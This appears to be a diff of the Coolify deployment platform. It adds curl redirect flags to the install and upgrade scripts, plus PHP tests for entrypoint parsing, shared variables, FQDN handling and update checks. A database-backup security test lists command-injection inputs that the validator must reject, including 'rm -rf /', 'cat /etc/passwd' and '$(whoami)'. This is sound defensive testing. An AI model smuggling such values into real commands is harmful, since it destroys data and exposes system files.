@forelse ($sources as $source)
@if ($source->getMorphClass() === 'App\Models\GithubApp')
-
{{-- --}}
diff --git a/scripts/install.sh b/scripts/install.sh
index f75ac8f73..c8b791185 100755
--- a/scripts/install.sh
+++ b/scripts/install.sh
@@ -288,9 +288,9 @@ if [ "$OS_TYPE" = 'amzn' ]; then
dnf install -y findutils >/dev/null
fi
-LATEST_VERSION=$(curl --silent $CDN/versions.json | grep -i version | xargs | awk '{print $2}' | tr -d ',')
-LATEST_HELPER_VERSION=$(curl --silent $CDN/versions.json | grep -i version | xargs | awk '{print $6}' | tr -d ',')
-LATEST_REALTIME_VERSION=$(curl --silent $CDN/versions.json | grep -i version | xargs | awk '{print $8}' | tr -d ',')
+LATEST_VERSION=$(curl -L --silent $CDN/versions.json | grep -i version | xargs | awk '{print $2}' | tr -d ',')
+LATEST_HELPER_VERSION=$(curl -L --silent $CDN/versions.json | grep -i version | xargs | awk '{print $6}' | tr -d ',')
+LATEST_REALTIME_VERSION=$(curl -L --silent $CDN/versions.json | grep -i version | xargs | awk '{print $8}' | tr -d ',')
if [ -z "$LATEST_HELPER_VERSION" ]; then
LATEST_HELPER_VERSION=latest
@@ -705,10 +705,10 @@ else
fi
echo -e "5. Download required files from CDN. "
-curl -fsSL $CDN/docker-compose.yml -o /data/coolify/source/docker-compose.yml
-curl -fsSL $CDN/docker-compose.prod.yml -o /data/coolify/source/docker-compose.prod.yml
-curl -fsSL $CDN/.env.production -o /data/coolify/source/.env.production
-curl -fsSL $CDN/upgrade.sh -o /data/coolify/source/upgrade.sh
+curl -fsSL -L $CDN/docker-compose.yml -o /data/coolify/source/docker-compose.yml
+curl -fsSL -L $CDN/docker-compose.prod.yml -o /data/coolify/source/docker-compose.prod.yml
+curl -fsSL -L $CDN/.env.production -o /data/coolify/source/.env.production
+curl -fsSL -L $CDN/upgrade.sh -o /data/coolify/source/upgrade.sh
echo -e "6. Setting up environment variable file"
diff --git a/scripts/upgrade.sh b/scripts/upgrade.sh
index 8340d95b0..9a55f330a 100644
--- a/scripts/upgrade.sh
+++ b/scripts/upgrade.sh
@@ -11,9 +11,9 @@ ENV_FILE="/data/coolify/source/.env"
DATE=$(date +%Y-%m-%d-%H-%M-%S)
LOGFILE="/data/coolify/source/upgrade-${DATE}.log"
-curl -fsSL $CDN/docker-compose.yml -o /data/coolify/source/docker-compose.yml
-curl -fsSL $CDN/docker-compose.prod.yml -o /data/coolify/source/docker-compose.prod.yml
-curl -fsSL $CDN/.env.production -o /data/coolify/source/.env.production
+curl -fsSL -L $CDN/docker-compose.yml -o /data/coolify/source/docker-compose.yml
+curl -fsSL -L $CDN/docker-compose.prod.yml -o /data/coolify/source/docker-compose.prod.yml
+curl -fsSL -L $CDN/.env.production -o /data/coolify/source/.env.production
# Backup existing .env file before making any changes
if [ "$SKIP_BACKUP" != "true" ]; then
diff --git a/tests/Feature/DockerCustomCommandsTest.php b/tests/Feature/DockerCustomCommandsTest.php
index a7829a534..5d9dcd174 100644
--- a/tests/Feature/DockerCustomCommandsTest.php
+++ b/tests/Feature/DockerCustomCommandsTest.php
@@ -125,3 +125,76 @@
],
]);
});
+
+test('ConvertEntrypointSimple', function () {
+ $input = '--entrypoint /bin/sh';
+ $output = convertDockerRunToCompose($input);
+ expect($output)->toBe([
+ 'entrypoint' => '/bin/sh',
+ ]);
+});
+
+test('ConvertEntrypointWithEquals', function () {
+ $input = '--entrypoint=/bin/bash';
+ $output = convertDockerRunToCompose($input);
+ expect($output)->toBe([
+ 'entrypoint' => '/bin/bash',
+ ]);
+});
+
+test('ConvertEntrypointWithArguments', function () {
+ $input = '--entrypoint "sh -c npm install"';
+ $output = convertDockerRunToCompose($input);
+ expect($output)->toBe([
+ 'entrypoint' => 'sh -c npm install',
+ ]);
+});
+
+test('ConvertEntrypointWithSingleQuotes', function () {
+ $input = "--entrypoint 'memcached -m 256'";
+ $output = convertDockerRunToCompose($input);
+ expect($output)->toBe([
+ 'entrypoint' => 'memcached -m 256',
+ ]);
+});
+
+test('ConvertEntrypointWithOtherOptions', function () {
+ $input = '--entrypoint /bin/bash --cap-add SYS_ADMIN --privileged';
+ $output = convertDockerRunToCompose($input);
+ expect($output)->toHaveKeys(['entrypoint', 'cap_add', 'privileged'])
+ ->and($output['entrypoint'])->toBe('/bin/bash')
+ ->and($output['cap_add'])->toBe(['SYS_ADMIN'])
+ ->and($output['privileged'])->toBe(true);
+});
+
+test('ConvertEntrypointComplex', function () {
+ $input = '--entrypoint "sh -c \'npm install && npm start\'"';
+ $output = convertDockerRunToCompose($input);
+ expect($output)->toBe([
+ 'entrypoint' => "sh -c 'npm install && npm start'",
+ ]);
+});
+
+test('ConvertEntrypointWithEscapedDoubleQuotes', function () {
+ $input = '--entrypoint "python -c \"print(\'hi\')\""';
+ $output = convertDockerRunToCompose($input);
+ expect($output)->toBe([
+ 'entrypoint' => "python -c \"print('hi')\"",
+ ]);
+});
+
+test('ConvertEntrypointWithEscapedSingleQuotesInDoubleQuotes', function () {
+ $input = '--entrypoint "sh -c \"echo \'hello\'\""';
+ $output = convertDockerRunToCompose($input);
+ expect($output)->toBe([
+ 'entrypoint' => "sh -c \"echo 'hello'\"",
+ ]);
+});
+
+test('ConvertEntrypointSingleQuotedWithDoubleQuotesInside', function () {
+ $input = '--entrypoint \'python -c "print(\"hi\")"\'';
+ $output = convertDockerRunToCompose($input);
+ expect($output)->toBe([
+ 'entrypoint' => 'python -c "print(\"hi\")"',
+ ]);
+});
diff --git a/tests/Feature/EnvironmentVariableSharedSpacingTest.php b/tests/Feature/EnvironmentVariableSharedSpacingTest.php
new file mode 100644
index 000000000..2514ae94a
--- /dev/null
+++ b/tests/Feature/EnvironmentVariableSharedSpacingTest.php
@@ -0,0 +1,194 @@
+user = User::factory()->create();
+ $this->team = Team::factory()->create();
+ $this->user->teams()->attach($this->team);
+
+ // Create project and environment
+ $this->project = Project::factory()->create(['team_id' => $this->team->id]);
+ $this->environment = Environment::factory()->create([
+ 'project_id' => $this->project->id,
+ ]);
+
+ // Create application for testing
+ $this->application = Application::factory()->create([
+ 'environment_id' => $this->environment->id,
+ ]);
+});
+
+test('shared variable preserves spacing in reference', function () {
+ $env = EnvironmentVariable::create([
+ 'key' => 'TEST_VAR',
+ 'value' => '{{ project.aaa }}',
+ 'resource_id' => $this->application->id,
+ 'resource_type' => $this->application->getMorphClass(),
+ ]);
+
+ $env->refresh();
+ expect($env->value)->toBe('{{ project.aaa }}');
+});
+
+test('shared variable preserves no-space format', function () {
+ $env = EnvironmentVariable::create([
+ 'key' => 'TEST_VAR',
+ 'value' => '{{project.aaa}}',
+ 'resource_id' => $this->application->id,
+ 'resource_type' => $this->application->getMorphClass(),
+ ]);
+
+ $env->refresh();
+ expect($env->value)->toBe('{{project.aaa}}');
+});
+
+test('shared variable with spaces resolves correctly', function () {
+ // Create shared variable
+ $shared = SharedEnvironmentVariable::create([
+ 'key' => 'TEST_KEY',
+ 'value' => 'test-value-123',
+ 'type' => 'project',
+ 'project_id' => $this->project->id,
+ 'team_id' => $this->team->id,
+ ]);
+
+ // Create env var with spaces
+ $env = EnvironmentVariable::create([
+ 'key' => 'MY_VAR',
+ 'value' => '{{ project.TEST_KEY }}',
+ 'resource_id' => $this->application->id,
+ 'resource_type' => $this->application->getMorphClass(),
+ ]);
+
+ // Verify it resolves correctly
+ $realValue = $env->real_value;
+ expect($realValue)->toBe('test-value-123');
+});
+
+test('shared variable without spaces resolves correctly', function () {
+ // Create shared variable
+ $shared = SharedEnvironmentVariable::create([
+ 'key' => 'TEST_KEY',
+ 'value' => 'test-value-456',
+ 'type' => 'project',
+ 'project_id' => $this->project->id,
+ 'team_id' => $this->team->id,
+ ]);
+
+ // Create env var without spaces
+ $env = EnvironmentVariable::create([
+ 'key' => 'MY_VAR',
+ 'value' => '{{project.TEST_KEY}}',
+ 'resource_id' => $this->application->id,
+ 'resource_type' => $this->application->getMorphClass(),
+ ]);
+
+ // Verify it resolves correctly
+ $realValue = $env->real_value;
+ expect($realValue)->toBe('test-value-456');
+});
+
+test('shared variable with extra internal spaces resolves correctly', function () {
+ // Create shared variable
+ $shared = SharedEnvironmentVariable::create([
+ 'key' => 'TEST_KEY',
+ 'value' => 'test-value-789',
+ 'type' => 'project',
+ 'project_id' => $this->project->id,
+ 'team_id' => $this->team->id,
+ ]);
+
+ // Create env var with multiple spaces
+ $env = EnvironmentVariable::create([
+ 'key' => 'MY_VAR',
+ 'value' => '{{ project.TEST_KEY }}',
+ 'resource_id' => $this->application->id,
+ 'resource_type' => $this->application->getMorphClass(),
+ ]);
+
+ // Verify it resolves correctly (parser trims when extracting)
+ $realValue = $env->real_value;
+ expect($realValue)->toBe('test-value-789');
+});
+
+test('is_shared attribute detects variable with spaces', function () {
+ $env = EnvironmentVariable::create([
+ 'key' => 'TEST',
+ 'value' => '{{ project.aaa }}',
+ 'resource_id' => $this->application->id,
+ 'resource_type' => $this->application->getMorphClass(),
+ ]);
+
+ expect($env->is_shared)->toBeTrue();
+});
+
+test('is_shared attribute detects variable without spaces', function () {
+ $env = EnvironmentVariable::create([
+ 'key' => 'TEST',
+ 'value' => '{{project.aaa}}',
+ 'resource_id' => $this->application->id,
+ 'resource_type' => $this->application->getMorphClass(),
+ ]);
+
+ expect($env->is_shared)->toBeTrue();
+});
+
+test('non-shared variable preserves spaces', function () {
+ $env = EnvironmentVariable::create([
+ 'key' => 'REGULAR',
+ 'value' => 'regular value with spaces',
+ 'resource_id' => $this->application->id,
+ 'resource_type' => $this->application->getMorphClass(),
+ ]);
+
+ $env->refresh();
+ expect($env->value)->toBe('regular value with spaces');
+});
+
+test('mixed content with shared variable preserves all spacing', function () {
+ $env = EnvironmentVariable::create([
+ 'key' => 'MIXED',
+ 'value' => 'prefix {{ project.aaa }} suffix',
+ 'resource_id' => $this->application->id,
+ 'resource_type' => $this->application->getMorphClass(),
+ ]);
+
+ $env->refresh();
+ expect($env->value)->toBe('prefix {{ project.aaa }} suffix');
+});
+
+test('multiple shared variables preserve individual spacing', function () {
+ $env = EnvironmentVariable::create([
+ 'key' => 'MULTI',
+ 'value' => '{{ project.a }} and {{team.b}}',
+ 'resource_id' => $this->application->id,
+ 'resource_type' => $this->application->getMorphClass(),
+ ]);
+
+ $env->refresh();
+ expect($env->value)->toBe('{{ project.a }} and {{team.b}}');
+});
+
+test('leading and trailing spaces are trimmed', function () {
+ $env = EnvironmentVariable::create([
+ 'key' => 'TRIMMED',
+ 'value' => ' {{ project.aaa }} ',
+ 'resource_id' => $this->application->id,
+ 'resource_type' => $this->application->getMorphClass(),
+ ]);
+
+ $env->refresh();
+ // External spaces trimmed, internal preserved
+ expect($env->value)->toBe('{{ project.aaa }}');
+});
diff --git a/tests/Feature/ServiceFqdnUpdatePathTest.php b/tests/Feature/ServiceFqdnUpdatePathTest.php
new file mode 100644
index 000000000..4c0c4238f
--- /dev/null
+++ b/tests/Feature/ServiceFqdnUpdatePathTest.php
@@ -0,0 +1,220 @@
+create([
+ 'name' => 'test-server',
+ 'ip' => '127.0.0.1',
+ ]);
+
+ // Load Appwrite template
+ $appwriteTemplate = file_get_contents(base_path('templates/compose/appwrite.yaml'));
+
+ // Create Appwrite service
+ $service = Service::factory()->create([
+ 'server_id' => $server->id,
+ 'name' => 'appwrite-test',
+ 'docker_compose_raw' => $appwriteTemplate,
+ ]);
+
+ // Create the appwrite-realtime service application
+ $serviceApp = ServiceApplication::factory()->create([
+ 'service_id' => $service->id,
+ 'name' => 'appwrite-realtime',
+ 'fqdn' => 'https://test.abc/v1/realtime',
+ ]);
+
+ // Parse the service (simulates initial setup)
+ $service->parse();
+
+ // Get environment variable
+ $urlVar = $service->environment_variables()
+ ->where('key', 'SERVICE_URL_APPWRITE')
+ ->first();
+
+ // Initial setup should have path once
+ expect($urlVar)->not->toBeNull()
+ ->and($urlVar->value)->not->toContain('/v1/realtime/v1/realtime')
+ ->and($urlVar->value)->toContain('/v1/realtime');
+
+ // Simulate user updating FQDN
+ $serviceApp->fqdn = 'https://newdomain.com/v1/realtime';
+ $serviceApp->save();
+
+ // Call parse again (this is where the bug occurred)
+ $service->parse();
+
+ // Check that path is not duplicated
+ $urlVar = $service->environment_variables()
+ ->where('key', 'SERVICE_URL_APPWRITE')
+ ->first();
+
+ expect($urlVar)->not->toBeNull()
+ ->and($urlVar->value)->not->toContain('/v1/realtime/v1/realtime')
+ ->and($urlVar->value)->toContain('/v1/realtime');
+})->skip('Requires database and Appwrite template - run in Docker');
+
+test('Appwrite console service does not duplicate /console path', function () {
+ $server = Server::factory()->create();
+ $appwriteTemplate = file_get_contents(base_path('templates/compose/appwrite.yaml'));
+ $service = Service::factory()->create([
+ 'server_id' => $server->id,
+ 'docker_compose_raw' => $appwriteTemplate,
+ ]);
+
+ $serviceApp = ServiceApplication::factory()->create([
+ 'service_id' => $service->id,
+ 'name' => 'appwrite-console',
+ 'fqdn' => 'https://test.abc/console',
+ ]);
+
+ // Parse service
+ $service->parse();
+
+ // Update FQDN
+ $serviceApp->fqdn = 'https://newdomain.com/console';
+ $serviceApp->save();
+
+ // Parse again
+ $service->parse();
+
+ // Verify no duplication
+ $urlVar = $service->environment_variables()
+ ->where('key', 'SERVICE_URL_APPWRITE')
+ ->first();
+
+ expect($urlVar)->not->toBeNull()
+ ->and($urlVar->value)->not->toContain('/console/console')
+ ->and($urlVar->value)->toContain('/console');
+})->skip('Requires database and Appwrite template - run in Docker');
+
+test('MindsDB service does not duplicate /api path', function () {
+ $server = Server::factory()->create();
+ $mindsdbTemplate = file_get_contents(base_path('templates/compose/mindsdb.yaml'));
+ $service = Service::factory()->create([
+ 'server_id' => $server->id,
+ 'docker_compose_raw' => $mindsdbTemplate,
+ ]);
+
+ $serviceApp = ServiceApplication::factory()->create([
+ 'service_id' => $service->id,
+ 'name' => 'mindsdb',
+ 'fqdn' => 'https://test.abc/api',
+ ]);
+
+ // Parse service
+ $service->parse();
+
+ // Update FQDN multiple times
+ $serviceApp->fqdn = 'https://domain1.com/api';
+ $serviceApp->save();
+ $service->parse();
+
+ $serviceApp->fqdn = 'https://domain2.com/api';
+ $serviceApp->save();
+ $service->parse();
+
+ // Verify no duplication after multiple updates
+ $urlVar = $service->environment_variables()
+ ->where('key', 'SERVICE_URL_API')
+ ->orWhere('key', 'LIKE', 'SERVICE_URL_%')
+ ->first();
+
+ expect($urlVar)->not->toBeNull()
+ ->and($urlVar->value)->not->toContain('/api/api');
+})->skip('Requires database and MindsDB template - run in Docker');
+
+test('service without path declaration is not affected', function () {
+ $server = Server::factory()->create();
+
+ // Create a simple service without path in template
+ $simpleTemplate = <<<'YAML'
+services:
+ redis:
+ image: redis:7
+ environment:
+ - SERVICE_FQDN_REDIS
+YAML;
+
+ $service = Service::factory()->create([
+ 'server_id' => $server->id,
+ 'docker_compose_raw' => $simpleTemplate,
+ ]);
+
+ $serviceApp = ServiceApplication::factory()->create([
+ 'service_id' => $service->id,
+ 'name' => 'redis',
+ 'fqdn' => 'https://redis.test.abc',
+ ]);
+
+ // Parse service
+ $service->parse();
+
+ $fqdnBefore = $service->environment_variables()
+ ->where('key', 'SERVICE_FQDN_REDIS')
+ ->first()?->value;
+
+ // Update FQDN
+ $serviceApp->fqdn = 'https://redis.newdomain.com';
+ $serviceApp->save();
+
+ // Parse again
+ $service->parse();
+
+ $fqdnAfter = $service->environment_variables()
+ ->where('key', 'SERVICE_FQDN_REDIS')
+ ->first()?->value;
+
+ // Should work normally without issues
+ expect($fqdnAfter)->toBe('redis.newdomain.com')
+ ->and($fqdnAfter)->not->toContain('//');
+})->skip('Requires database - run in Docker');
+
+test('multiple FQDN updates never cause path duplication', function () {
+ $server = Server::factory()->create();
+ $appwriteTemplate = file_get_contents(base_path('templates/compose/appwrite.yaml'));
+ $service = Service::factory()->create([
+ 'server_id' => $server->id,
+ 'docker_compose_raw' => $appwriteTemplate,
+ ]);
+
+ $serviceApp = ServiceApplication::factory()->create([
+ 'service_id' => $service->id,
+ 'name' => 'appwrite-realtime',
+ 'fqdn' => 'https://test.abc/v1/realtime',
+ ]);
+
+ // Update FQDN 10 times and parse each time
+ for ($i = 1; $i <= 10; $i++) {
+ $serviceApp->fqdn = "https://domain{$i}.com/v1/realtime";
+ $serviceApp->save();
+ $service->parse();
+
+ // Check path is never duplicated
+ $urlVar = $service->environment_variables()
+ ->where('key', 'SERVICE_URL_APPWRITE')
+ ->first();
+
+ expect($urlVar)->not->toBeNull()
+ ->and($urlVar->value)->not->toContain('/v1/realtime/v1/realtime')
+ ->and($urlVar->value)->toContain('/v1/realtime');
+ }
+})->skip('Requires database and Appwrite template - run in Docker');
diff --git a/tests/Unit/ApplicationConfigurationChangeTest.php b/tests/Unit/ApplicationConfigurationChangeTest.php
index 618f3d033..8ad88280b 100644
--- a/tests/Unit/ApplicationConfigurationChangeTest.php
+++ b/tests/Unit/ApplicationConfigurationChangeTest.php
@@ -15,3 +15,35 @@
->and($hash1)->not->toBe($hash3)
->and($hash2)->not->toBe($hash3);
});
+
+/**
+ * Unit test to verify that inject_build_args_to_dockerfile is included in configuration change detection.
+ * Tests the behavior of the isConfigurationChanged method by verifying that different
+ * inject_build_args_to_dockerfile values produce different configuration hashes.
+ */
+it('different inject_build_args_to_dockerfile values produce different hashes', function () {
+ // Test that the hash calculation includes inject_build_args_to_dockerfile by computing hashes with different values
+ // true becomes '1', false becomes '', so they produce different hashes
+ $hash1 = md5(base64_encode('test'.true)); // 'test1'
+ $hash2 = md5(base64_encode('test'.false)); // 'test'
+ $hash3 = md5(base64_encode('test')); // 'test'
+
+ expect($hash1)->not->toBe($hash2)
+ ->and($hash2)->toBe($hash3); // false and empty string produce the same result
+});
+
+/**
+ * Unit test to verify that include_source_commit_in_build is included in configuration change detection.
+ * Tests the behavior of the isConfigurationChanged method by verifying that different
+ * include_source_commit_in_build values produce different configuration hashes.
+ */
+it('different include_source_commit_in_build values produce different hashes', function () {
+ // Test that the hash calculation includes include_source_commit_in_build by computing hashes with different values
+ // true becomes '1', false becomes '', so they produce different hashes
+ $hash1 = md5(base64_encode('test'.true)); // 'test1'
+ $hash2 = md5(base64_encode('test'.false)); // 'test'
+ $hash3 = md5(base64_encode('test')); // 'test'
+
+ expect($hash1)->not->toBe($hash2)
+ ->and($hash2)->toBe($hash3); // false and empty string produce the same result
+});
diff --git a/tests/Unit/CheckForUpdatesJobTest.php b/tests/Unit/CheckForUpdatesJobTest.php
new file mode 100644
index 000000000..1dbc73e44
--- /dev/null
+++ b/tests/Unit/CheckForUpdatesJobTest.php
@@ -0,0 +1,186 @@
+settings = Mockery::mock(InstanceSettings::class);
+ $this->settings->shouldReceive('update')->andReturn(true);
+});
+
+afterEach(function () {
+ Mockery::close();
+});
+
+it('has correct job configuration', function () {
+ $job = new CheckForUpdatesJob;
+
+ $interfaces = class_implements($job);
+ expect($interfaces)->toContain(\Illuminate\Contracts\Queue\ShouldQueue::class);
+ expect($interfaces)->toContain(\Illuminate\Contracts\Queue\ShouldBeEncrypted::class);
+});
+
+it('uses max of CDN and cache versions', function () {
+ // CDN has older version
+ Http::fake([
+ '*' => Http::response([
+ 'coolify' => ['v4' => ['version' => '4.0.0']],
+ 'traefik' => ['v3.5' => '3.5.6'],
+ ], 200),
+ ]);
+
+ // Cache has newer version
+ File::shouldReceive('exists')
+ ->with(base_path('versions.json'))
+ ->andReturn(true);
+
+ File::shouldReceive('get')
+ ->with(base_path('versions.json'))
+ ->andReturn(json_encode(['coolify' => ['v4' => ['version' => '4.0.10']]]));
+
+ File::shouldReceive('put')
+ ->once()
+ ->with(base_path('versions.json'), Mockery::on(function ($json) {
+ $data = json_decode($json, true);
+
+ // Should use cached version (4.0.10), not CDN version (4.0.0)
+ return $data['coolify']['v4']['version'] === '4.0.10';
+ }));
+
+ Cache::shouldReceive('forget')->once();
+
+ config(['constants.coolify.version' => '4.0.5']);
+
+ // Mock instanceSettings function
+ $this->app->instance('App\Models\InstanceSettings', function () {
+ return $this->settings;
+ });
+
+ $job = new CheckForUpdatesJob;
+ $job->handle();
+});
+
+it('never downgrades from current running version', function () {
+ // CDN has older version
+ Http::fake([
+ '*' => Http::response([
+ 'coolify' => ['v4' => ['version' => '4.0.0']],
+ 'traefik' => ['v3.5' => '3.5.6'],
+ ], 200),
+ ]);
+
+ // Cache also has older version
+ File::shouldReceive('exists')
+ ->with(base_path('versions.json'))
+ ->andReturn(true);
+
+ File::shouldReceive('get')
+ ->with(base_path('versions.json'))
+ ->andReturn(json_encode(['coolify' => ['v4' => ['version' => '4.0.5']]]));
+
+ File::shouldReceive('put')
+ ->once()
+ ->with(base_path('versions.json'), Mockery::on(function ($json) {
+ $data = json_decode($json, true);
+
+ // Should use running version (4.0.10), not CDN (4.0.0) or cache (4.0.5)
+ return $data['coolify']['v4']['version'] === '4.0.10';
+ }));
+
+ Cache::shouldReceive('forget')->once();
+
+ // Running version is newest
+ config(['constants.coolify.version' => '4.0.10']);
+
+ \Illuminate\Support\Facades\Log::shouldReceive('warning')
+ ->once()
+ ->with('Version downgrade prevented in CheckForUpdatesJob', Mockery::type('array'));
+
+ $this->app->instance('App\Models\InstanceSettings', function () {
+ return $this->settings;
+ });
+
+ $job = new CheckForUpdatesJob;
+ $job->handle();
+});
+
+it('uses data_set for safe version mutation', function () {
+ Http::fake([
+ '*' => Http::response([
+ 'coolify' => ['v4' => ['version' => '4.0.10']],
+ ], 200),
+ ]);
+
+ File::shouldReceive('exists')->andReturn(false);
+ File::shouldReceive('put')->once();
+ Cache::shouldReceive('forget')->once();
+
+ config(['constants.coolify.version' => '4.0.5']);
+
+ $this->app->instance('App\Models\InstanceSettings', function () {
+ return $this->settings;
+ });
+
+ $job = new CheckForUpdatesJob;
+
+ // Should not throw even if structure is unexpected
+ // data_set() handles nested path creation
+ $job->handle();
+})->skip('Needs better mock setup for instanceSettings');
+
+it('preserves other component versions when preventing Coolify downgrade', function () {
+ // CDN has older Coolify but newer Traefik
+ Http::fake([
+ '*' => Http::response([
+ 'coolify' => ['v4' => ['version' => '4.0.0']],
+ 'traefik' => ['v3.6' => '3.6.2'],
+ 'sentinel' => ['version' => '1.0.5'],
+ ], 200),
+ ]);
+
+ File::shouldReceive('exists')->andReturn(true);
+ File::shouldReceive('get')
+ ->andReturn(json_encode([
+ 'coolify' => ['v4' => ['version' => '4.0.5']],
+ 'traefik' => ['v3.5' => '3.5.6'],
+ ]));
+
+ File::shouldReceive('put')
+ ->once()
+ ->with(base_path('versions.json'), Mockery::on(function ($json) {
+ $data = json_decode($json, true);
+ // Coolify should use running version
+ expect($data['coolify']['v4']['version'])->toBe('4.0.10');
+ // Traefik should use CDN version (newer)
+ expect($data['traefik']['v3.6'])->toBe('3.6.2');
+ // Sentinel should use CDN version
+ expect($data['sentinel']['version'])->toBe('1.0.5');
+
+ return true;
+ }));
+
+ Cache::shouldReceive('forget')->once();
+
+ config(['constants.coolify.version' => '4.0.10']);
+
+ \Illuminate\Support\Facades\Log::shouldReceive('warning')
+ ->once()
+ ->with('CDN served older Coolify version than cache', Mockery::type('array'));
+
+ \Illuminate\Support\Facades\Log::shouldReceive('warning')
+ ->once()
+ ->with('Version downgrade prevented in CheckForUpdatesJob', Mockery::type('array'));
+
+ $this->app->instance('App\Models\InstanceSettings', function () {
+ return $this->settings;
+ });
+
+ $job = new CheckForUpdatesJob;
+ $job->handle();
+});
diff --git a/tests/Unit/CoolifyTaskCleanupTest.php b/tests/Unit/CoolifyTaskCleanupTest.php
new file mode 100644
index 000000000..ad77a2e8c
--- /dev/null
+++ b/tests/Unit/CoolifyTaskCleanupTest.php
@@ -0,0 +1,84 @@
+hasMethod('failed'))->toBeTrue();
+
+ // Get the failed method
+ $failedMethod = $reflection->getMethod('failed');
+
+ // Read the method source to verify it dispatches events
+ $filename = $reflection->getFileName();
+ $startLine = $failedMethod->getStartLine();
+ $endLine = $failedMethod->getEndLine();
+
+ $source = file($filename);
+ $methodSource = implode('', array_slice($source, $startLine - 1, $endLine - $startLine + 1));
+
+ // Verify the implementation contains event dispatch logic
+ expect($methodSource)
+ ->toContain('call_event_on_finish')
+ ->and($methodSource)->toContain('event(new $eventClass')
+ ->and($methodSource)->toContain('call_event_data')
+ ->and($methodSource)->toContain('Log::info');
+});
+
+it('CoolifyTask failed method updates activity status to ERROR', function () {
+ $reflection = new ReflectionClass(CoolifyTask::class);
+ $failedMethod = $reflection->getMethod('failed');
+
+ // Read the method source
+ $filename = $reflection->getFileName();
+ $startLine = $failedMethod->getStartLine();
+ $endLine = $failedMethod->getEndLine();
+
+ $source = file($filename);
+ $methodSource = implode('', array_slice($source, $startLine - 1, $endLine - $startLine + 1));
+
+ // Verify activity status is set to ERROR
+ expect($methodSource)
+ ->toContain("'status' => ProcessStatus::ERROR->value")
+ ->and($methodSource)->toContain("'error' =>")
+ ->and($methodSource)->toContain("'failed_at' =>");
+});
+
+it('CoolifyTask failed method has proper error handling for event dispatch', function () {
+ $reflection = new ReflectionClass(CoolifyTask::class);
+ $failedMethod = $reflection->getMethod('failed');
+
+ // Read the method source
+ $filename = $reflection->getFileName();
+ $startLine = $failedMethod->getStartLine();
+ $endLine = $failedMethod->getEndLine();
+
+ $source = file($filename);
+ $methodSource = implode('', array_slice($source, $startLine - 1, $endLine - $startLine + 1));
+
+ // Verify try-catch around event dispatch
+ expect($methodSource)
+ ->toContain('try {')
+ ->and($methodSource)->toContain('} catch (\Throwable $e) {')
+ ->and($methodSource)->toContain("Log::error('Error dispatching cleanup event");
+});
+
+it('CoolifyTask constructor stores call_event_on_finish and call_event_data', function () {
+ $reflection = new ReflectionClass(CoolifyTask::class);
+ $constructor = $reflection->getConstructor();
+
+ // Get constructor parameters
+ $parameters = $constructor->getParameters();
+ $paramNames = array_map(fn ($p) => $p->getName(), $parameters);
+
+ // Verify both parameters exist
+ expect($paramNames)
+ ->toContain('call_event_on_finish')
+ ->and($paramNames)->toContain('call_event_data');
+
+ // Verify they are public properties (constructor property promotion)
+ expect($reflection->hasProperty('call_event_on_finish'))->toBeTrue();
+ expect($reflection->hasProperty('call_event_data'))->toBeTrue();
+});
diff --git a/tests/Unit/DatabaseBackupSecurityTest.php b/tests/Unit/DatabaseBackupSecurityTest.php
new file mode 100644
index 000000000..6fb0bb4b9
--- /dev/null
+++ b/tests/Unit/DatabaseBackupSecurityTest.php
@@ -0,0 +1,83 @@
+ validateShellSafePath('test$(whoami)', 'database name'))
+ ->toThrow(Exception::class);
+});
+
+test('database backup rejects command injection with semicolon separator', function () {
+ expect(fn () => validateShellSafePath('test; rm -rf /', 'database name'))
+ ->toThrow(Exception::class);
+});
+
+test('database backup rejects command injection with pipe operator', function () {
+ expect(fn () => validateShellSafePath('test | cat /etc/passwd', 'database name'))
+ ->toThrow(Exception::class);
+});
+
+test('database backup rejects command injection with backticks', function () {
+ expect(fn () => validateShellSafePath('test`whoami`', 'database name'))
+ ->toThrow(Exception::class);
+});
+
+test('database backup rejects command injection with ampersand', function () {
+ expect(fn () => validateShellSafePath('test & whoami', 'database name'))
+ ->toThrow(Exception::class);
+});
+
+test('database backup rejects command injection with redirect operators', function () {
+ expect(fn () => validateShellSafePath('test > /tmp/pwned', 'database name'))
+ ->toThrow(Exception::class);
+
+ expect(fn () => validateShellSafePath('test < /etc/passwd', 'database name'))
+ ->toThrow(Exception::class);
+});
+
+test('database backup rejects command injection with newlines', function () {
+ expect(fn () => validateShellSafePath("test\nrm -rf /", 'database name'))
+ ->toThrow(Exception::class);
+});
+
+test('database backup escapes shell arguments properly', function () {
+ $database = "test'db";
+ $escaped = escapeshellarg($database);
+
+ expect($escaped)->toBe("'test'\\''db'");
+});
+
+test('database backup escapes shell arguments with double quotes', function () {
+ $database = 'test"db';
+ $escaped = escapeshellarg($database);
+
+ expect($escaped)->toBe("'test\"db'");
+});
+
+test('database backup escapes shell arguments with spaces', function () {
+ $database = 'test database';
+ $escaped = escapeshellarg($database);
+
+ expect($escaped)->toBe("'test database'");
+});
+
+test('database backup accepts legitimate database names', function () {
+ expect(fn () => validateShellSafePath('postgres', 'database name'))
+ ->not->toThrow(Exception::class);
+
+ expect(fn () => validateShellSafePath('my_database', 'database name'))
+ ->not->toThrow(Exception::class);
+
+ expect(fn () => validateShellSafePath('db-prod', 'database name'))
+ ->not->toThrow(Exception::class);
+
+ expect(fn () => validateShellSafePath('test123', 'database name'))
+ ->not->toThrow(Exception::class);
+});
diff --git a/tests/Unit/EnvVarInputComponentTest.php b/tests/Unit/EnvVarInputComponentTest.php
new file mode 100644
index 000000000..f4fc8bcb5
--- /dev/null
+++ b/tests/Unit/EnvVarInputComponentTest.php
@@ -0,0 +1,67 @@
+required)->toBeFalse()
+ ->and($component->disabled)->toBeFalse()
+ ->and($component->readonly)->toBeFalse()
+ ->and($component->defaultClass)->toBe('input')
+ ->and($component->availableVars)->toBe([]);
+});
+
+it('uses provided id', function () {
+ $component = new EnvVarInput(id: 'env-key');
+
+ expect($component->id)->toBe('env-key');
+});
+
+it('accepts available vars', function () {
+ $vars = [
+ 'team' => ['DATABASE_URL', 'API_KEY'],
+ 'project' => ['STRIPE_KEY'],
+ 'environment' => ['DEBUG'],
+ ];
+
+ $component = new EnvVarInput(availableVars: $vars);
+
+ expect($component->availableVars)->toBe($vars);
+});
+
+it('accepts required parameter', function () {
+ $component = new EnvVarInput(required: true);
+
+ expect($component->required)->toBeTrue();
+});
+
+it('accepts disabled state', function () {
+ $component = new EnvVarInput(disabled: true);
+
+ expect($component->disabled)->toBeTrue();
+});
+
+it('accepts readonly state', function () {
+ $component = new EnvVarInput(readonly: true);
+
+ expect($component->readonly)->toBeTrue();
+});
+
+it('accepts autofocus parameter', function () {
+ $component = new EnvVarInput(autofocus: true);
+
